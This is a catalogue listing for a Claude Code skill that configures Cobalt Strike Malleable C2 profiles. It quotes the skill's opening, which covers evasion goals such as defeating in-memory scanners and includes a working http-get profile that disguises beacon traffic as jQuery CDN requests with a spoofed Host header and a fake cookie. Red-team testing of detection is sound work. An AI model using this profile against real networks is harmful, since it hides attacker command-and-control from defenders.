cobalt-strike-malleable-c2

cobalt-strike-malleable-c2 is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 71 tokens per session (2,304 once invoked), scanned A, original, Apache-2.0.

A guide to configuring Cobalt Strike traffic so its command-and-control communications resemble ordinary web traffic.

In plain words
What is it for?
Simulating covert beacon traffic during approved assessments and checking detection by network analysis and deep-packet inspection systems.
Why use it?
It helps authorized red teams test whether network monitoring and inspection tools can identify disguised connections.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Simulating covert beacon traffic during approved assessments and checking detection by network analysis and deep-packet inspection systems.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for cobalt-strike-malleable-c2

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for cobalt-strike-malleable-c2

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 71 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,304 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00071 $0.02304
Opus 5.5 $0.00028 $0.00922
Sonnet 5.5 $0.00014 $0.00461
Haiku 4.5 $0.00007 $0.00230

Measured 2mo ago against content hash 1a003d7893e2, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

cobalt-strike-malleable-c2 scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/red-teaming/command-and-control/cobalt-strike-malleable-c2/SKILL.md · 201 lines

How it starts

The opening of the file, as written. The whole thing — 201 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Cobalt Strike Malleable C2 Profiles

When to Use

  • During high-tier Red Team operations where the target organization possesses advanced Network Traffic Analysis (NTA) or Deep Packet Inspection (DPI) firewalls (e.g., Palo Alto, Fortinet).
  • When attempting to blend persistent Beacon traffic into the target environment's native noise (e.g., disguising C2 traffic as continuous Windows Defender telemetry or Google Analytics polling).
  • To actively disable and evade in-memory scanning frameworks (e.g., Hunt-Sleeping-Beacons) by utilizing profile features like sleep_mask and allocator.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Understanding Malleable C2

# Concept: By default, Cobalt Strike Beacons "call home" using a highly predictable cryptographic 
# structure over standard HTTP. Antivirus vendors have perfectly signatured this default behavior.
# A Malleable C2 Profile is a configuration file (.profile) interpreted by the Team Server 
# that completely redesigns *how* the C2 traffic looks in transit and *how* the implant behaves in memory.

Phase 2: Building the HTTP-GET Configuration (Camouflage)

# Concept: We must disguise the Beacon "checking in" for tasks as a harmless user browsing a website.
# Let's disguise the traffic as a user interacting with jQuery on a CDN.

http-get {
    set uri "/jquery-3.3.1.min.js";    ## The beacon requests this specific file
    
    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Host" "code.jquery.com";   ## Domain Fronting or spoofing Host header
        header "Referer" "http://code.jquery.com/";
        
        metadata {
            base64url;
            prepend "__cfduid=";
            header "Cookie";            ## The Beacon hides its unique ID inside a fake Cloudflare cookie
        }
    }
    
    server {
        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        
        output {
            base64;
            prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\n\n";
            append "\n// End of jQuery code";
            print;                      ## The Team Server hides its encoded commands inside a fake jQuery script
        }
    }
}

Read the full file on GitHub · 201 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 201 lines · 71 tokens per session scan A 1a003d7893e2

Subscribe to this mod's changes

cobalt-strike-malleable-c2 is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (26 stars, last pushed 7mo ago), licensed Apache-2.0. It adds 71 tokens to every session and 2,304 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

cobalt-strike-malleable-c2 compared with skills from other repositories

cobalt-strike-malleable-c2 next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
cobalt-strike-malleable-c2akashrpatil/awesome-offensive-security-skillsSkill267mo agoApache-2.0A71Claude Code
cobalt-strike-malleable-c2ShulkwiSEC/bb-hugeSkill274mo agoMITA69Claude Code, Codex
analyzing-command-and-control-communicationmukul975/Anthropic-Cybersecurity-SkillsSkill37k3mo agoApache-2.0A81Claude Code
analyzing-cobalt-strike-beacon-configurationmukul975/Anthropic-Cybersecurity-SkillsSkill37k3mo agoApache-2.0A42Claude Code
analyzing-cobalt-strike-beacon-configurationoyi77/1ai-skillsSkill19todayMITA54Claude Code
hunting-cobalt-strike-trafficmeltedinhex/analyst-ai-packSkill254d agoApache-2.0A75Claude Code, Codex
hunting-for-cobalt-strike-beaconsoyi77/1ai-skillsSkill19todayMITA84Claude Code